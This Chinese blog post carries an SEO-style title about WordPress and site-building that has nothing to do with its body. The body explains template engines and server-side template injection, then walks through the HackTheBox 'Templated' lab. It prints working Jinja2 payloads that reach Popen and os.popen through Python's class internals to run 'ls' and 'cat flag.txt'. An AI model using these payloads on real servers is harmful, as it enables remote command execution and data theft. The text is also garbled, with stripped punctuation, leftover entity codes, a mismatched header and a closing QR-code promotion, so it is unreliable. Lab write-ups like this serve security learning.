如何将网站前端开发流程有效导入到WordPress中?

摘要:网站前端开发流程,导入 wordpress,小学网站建设方案书,php网站迁移模板引擎(Web开发中) 是为了使 用户界面 和 业务数据(内容&
网站前端开发流程,导入 wordpress,小学网站建设方案书,php网站迁移模板引擎#xff08;Web开发中#xff09; 是为了使 用户界面 和 业务数据#xff08;内容#xff09;分离而产生的#xff0c;它可以生成特定格式的文档#xff0c; 利用模板引擎来生成前端的HTML代码#xff0c;模板引擎会提供一套生成HTML代码的程序#xff0c;之后…模板引擎Web开发中 是为了使 用户界面 和 业务数据内容分离而产生的它可以生成特定格式的文档 利用模板引擎来生成前端的HTML代码模板引擎会提供一套生成HTML代码的程序之后只需获取用户的数据放入渲染函数该数据便会嵌入生成好的HTML页面中 然后反馈给浏览器呈现在用户面前 当前的主流框架一般都采用MVC模式即 Model-View-Controller 用户的输入先进入Controller控制器然后根据清流类型和请求的指令发送给对应的Model业务模型由Model层进行业务逻辑的判断、数据库的存取等最后把结果返回给View视图层再经模板引擎的渲染展示给用户 模板引擎的基本机理就是 替换转换 将指定的标签转换为需要的业务数据将指定的伪语句按照某种流程来变换输出 引用一段代码来简单说一下 // 模板 var template pHello,my name is %name%.I am %age% years old./p;// 用于匹配的正则 /*用于过滤出以%开头%结尾并且中间不包含%或的匹配项其目的在于过滤出template中的 %name% 和 %age% */ var regex /%([^%])?%/g;// 数据 var data {name:Deutsh,age:22 }// 模板引擎 var TemplateEngine function (template,data) {// exec使用全局正则表达式意味着在循环中使用因为它仍然会检索所有匹配的子表达式// /regex/.exec()仅返回找到的第一个匹配项while (match regex.exec(template)){template template.replace(match[0],data[match[1]])}return template; }// 最终的执行在此处var string TemplateEngine(template,data) console.log(string)上述代码我们的目的是将 数据文件 中对应的name和age替换到 模板文件 中 主要的执行在模板引擎的while函数中match regex.exec(template)会返回一个array这个数组中包含了连个项目 ⚠️ 为什么会包含两项呢当正则表达式设置 g 标志位时可以多次执行 exec 方法来查找同一个字符串中的成功匹配 之后template template.replace(match[0],data[match[1]])等同于template template.replace(%name%,data[name]) 完成模板中数据的替换 SSTI模板注入Server-Side Template Injection 由前面模板代码安利的演示我们可以发现 若服务端接受了用户的输入后比如对于上述案例data的name和age的数据由数据的输入/提交/请求而得未经任何处理就将其作为Web应用模板内容的一部分 就会导致模板引擎在进行目标编译渲染的过程中执行了用户插入的可执行语句从而可能导致信息泄露、代码执行等问题 凡是使用模板的地方SSTI是绕不过的问题模板引擎可由多种语言实现所以SSTI也就出现在了多种语言环境中 模板引擎设计出来的一种防护机制不允许使用没有定义或者声明的模块这适用于所有的模板引擎。 常见的模板引擎 PHP Twig模板变量 {{%s}} Smarty模板变量 {%s} Blade模板变量 {{%s}} Python Jinja2模板变量 {{%s}} Tornado模板变量 {{%s}} Django模板变量 {{ }} Java FreeMarker模板变量 #%s${%s} Velocity模板变量 #set($x11)${x} 模板引擎众多各个模板引擎的语法也不尽相同我们最主要的是能定位出是否存在SSTI漏洞至于后续的利用我们掌握一些其余的见到再查即可 如何测试是否存在SSTI 简单来说就是更改请求参数使之承载含有模板引擎语法的 Payload 通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析有解析则可以判定含有 Payload 对应模板引擎注入 否则不存在 SSTI 此处我们拿来 bmjoker师傅 提供的一段示例代码 Twig模板引擎示例代码 ?phprequire_once dirname(__FILE__).\twig\lib\Twig\Autoloader.php;Twig_Autoloader::register(true);// Twig_Loader_Array 用于定位模板 内置的加载器// Twig_Environment 来存储配置信息 内置的环境变量$twig new Twig_Environment(new Twig_Loader_String());// render() 方法通过其第一个参数载入模板**并通过第二个参数中的变量来渲染模板**重要// 模版含有 {{name}} 变量其模版变量值来自于GET请求参数$_GET[name]$output $twig-render(Hello {{name}}, array(name $_GET[name]));// 将用户输入作为模版变量的值echo $output; ?这段代码中由于 模板引擎一般都会默认对渲染的变量值进行编码和转义 。所以一般情况下并不会存在XSS等攻击的可能 若就如我们最开始的例子所说 若模板引擎渲染的内容受我们控制了 就不一定了 // 上述代码基本内容不变$output后的内容发生变化$output$twig-render(Hello {$_GET[name]});// 将用户输入作为模版内容的一部分此时render函数由于缺少第二个参数所以 直接就会把Hello 用户的输入拼如模板进行渲染,这就相当于改变了最初的模板由于模板最初是由开发者定义的所以他会受到“信任” 对于Twig模板的变量{{%s}}除了传递变量外还可以执行表达式最简单的表达式就是{{2*2}}这也是辨认是否存在SSTI最基本的指纹 若我们输入{{2*2}}HTML页面返回其其结果4就说明该表达式被解析存在SSTI HackTheBox–Templated 我们以HTB上的一个靶场来演示一下该漏洞的判断与利用 首先我们在浏览器中打开所给的IP:Port 题目直接提示我们本体使用的模板引擎为**Jinja2**根据我们之前总结的各个模板引擎的变量类型我们可以知道该变量的类型是 {{%s}} 所以话不多说我们直接拼接尝试 payload {{2 * 2}} 2*2被计算确认存在SSTI模板注入 exp 本题的重点还是在利用方面由于我们的目标是读取处于服务器本地的一个存有Flag的文件所以我们的重点是找到一个含有某种读取文件的函数的类Python中我们通过查阅手册发现可以利用Popen函数完成该功能调用该函数会返回一个文件的句柄然后再配合read()函数读取即可 该函数会执行fork一个子进程执行command这个命令同时将子进程的标准输出通过管道连接到父进程对于文件在父进程调用read()读取即可对于命令在父进程会被执行 那么下面的重点就是如何找到Popen这个函数所属的类一般有两种方法我们先说第一种 由于我们想要找的是一个子类所以第一步即使找到其对象基类 即class object为了达到这步我们可以使用__mro__属性来访问对象的继承类但我们目前没有对象所以这里我们就构造一个 空字符串 : {{.__class__.__mro__}}其中__class__用于返回调用的参数类型 可以看出该子类继承自classstr与class object并以一个元组返回我们通过索引获得对象类 {{.__class__.__mro__[1]}} 接下来我们要列举出所有集成自object的子类通过对该对象调用__subclasses__方法 {{.__class__.__mro__[1].__subclasses__()}} 但这有一个明显的缺点就是好家伙这么多子类怎么可能找得到 为了缩小范围我们对其进行切片 {{.__class__.__mro__[1].__subclasses__()[400:]}}查找400个以后的元素 成功定位其位置处于滴414号位置 {{.__class__.__mro__[1].__subclasses__()[414]}} 然后我们为该函数传递参数调用即可 {{.__class__.__mro__[1].__subclasses__()[414](ls,shellTrue,stdout-1).communicate()}} 查看本地文件发现flag.txt Popen.communicate() 与进程交互将数据发送到标准输入。从 stdout 和 stderr 读取数据直到到达文件结尾 之后我们直接cat他就看见啦~~~~ {{.__class__.__mro__[1].__subclasses__()[414](cat flag.txt,shellTrue,stdout-1).communicate()}} Python中常用的一些魔术方法 __dict__保存类实例或对象实例的属性变量键值对字典 __class__返回调用的参数类型 __mro__返回一个包含对象所继承的基类元组方法在解析时按照元组的顺序解析。 寻找基类 __bases__返回类型列表 寻找基类 __subclasses__返回object的子类 __init__类的初始化方法 __globals__函数会以字典类型返回当前位置的全部全局变量 与func_globals等价 exp2 这里我们还有一种方法使用全局下的内置模块引用__builtins__指向__builtin__ 在Python中有一个内建模块该模块中有一些常用函数;而该模块在Python启动后、且没有执行程序员所写的任何代码前Python会首先加载 该内建函数到内存 {{.__class__.__bases__[0].__subclasses__()[1500].__init__.__globals__[__builtins__][__import__](os).popen(cat flag.txt).read()}} 同样我们获取基本类后继续向下获取基本类(object)的子类然后init初始化类globals全局来查找所有的方法及变量和参数并查看其内建模块的引用 使用内建模块中的__import__引入os库并适用其中的popen函数读取flag.txt即可 注意 该exp中对子类的选择subclasses()[1500]时经测试大多数子类中都包含内建模块的引用但依旧有不少不包含要注意 我们使用burp将子类的选择加为参数进行爆破 遍历出以下截图中Payload的子类号都可以引用具有**__builtins__** 以下为不可以使用的由此可看出号往大了写就对了~ 最后 对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。 同时每个成长路线对应的板块都有配套的视频提供 当然除了有配套的视频同时也为大家整理了各种文档和书籍资料工具并且已经帮大家分好类了。 因篇幅有限仅展示部分资料有需要的小伙伴可以【扫下方二维码】免费领取